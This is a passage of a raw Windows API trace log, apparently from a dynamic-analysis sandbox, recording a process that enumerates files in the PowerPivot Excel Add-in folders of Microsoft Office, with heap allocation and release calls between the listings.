ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.308] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.308] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.308] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0282.308] GetProcessHeap () returned 0xaf0000 [0282.308] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.308] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0282.308] GetProcessHeap () returned 0xaf0000 [0282.308] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.308] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\3082\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.308] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.308] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.309] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.309] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0282.309] GetProcessHeap () returned 0xaf0000 [0282.309] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.309] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9242", cAlternateFileName="")) returned 1 [0282.309] GetProcessHeap () returned 0xaf0000 [0282.309] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0282.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\9242\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0282.309] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.309] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 1 [0282.309] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivotExcelClientAddIn.rll", cAlternateFileName="POWERP~1.RLL")) returned 0 [0282.310] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0282.310] GetProcessHeap () returned 0xaf0000 [0282.310] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0282.310] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9242", cAlternateFileName="")) returned 0 [0282.310] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0282.310] GetProcessHeap () returned 0xaf0000 [0282.310] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0282.312] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0282.312] GetProcessHeap () returned 0xaf0000 [0282.312] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0282.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ro\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0282.315] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.315] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x110b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0282.315] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf15d84bd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0282.315] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad2662, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad2662, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf971d6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0282.315] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x443f20, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x443f20, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0282.315] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d4bb8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d4bb8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d71cd8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf035e09d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf035e09d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x92201bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97c9c99, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd7bf89, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb94fd84, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb94fd84, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6c1f8d1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6c1f8d1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c1f8d1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6034d6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6034d6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x605aed7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe3ab3a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe3ab3a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe3ab3a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0282.316] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0282.317] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x456248c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0282.317] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0282.317] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0282.317] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0282.317] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfae48f06, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfae48f06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae6f174, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0282.317] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0282.318] GetProcessHeap () returned 0xaf0000 [0282.318] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3676258 | out: hHeap=0xaf0000) returned 1 [0282.318] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0282.319] GetProcessHeap () returned 0xaf0000 [0282.319] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3676258 [0282.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0282.320] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0282.320] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0282.320] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa39cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa39cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa39cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, 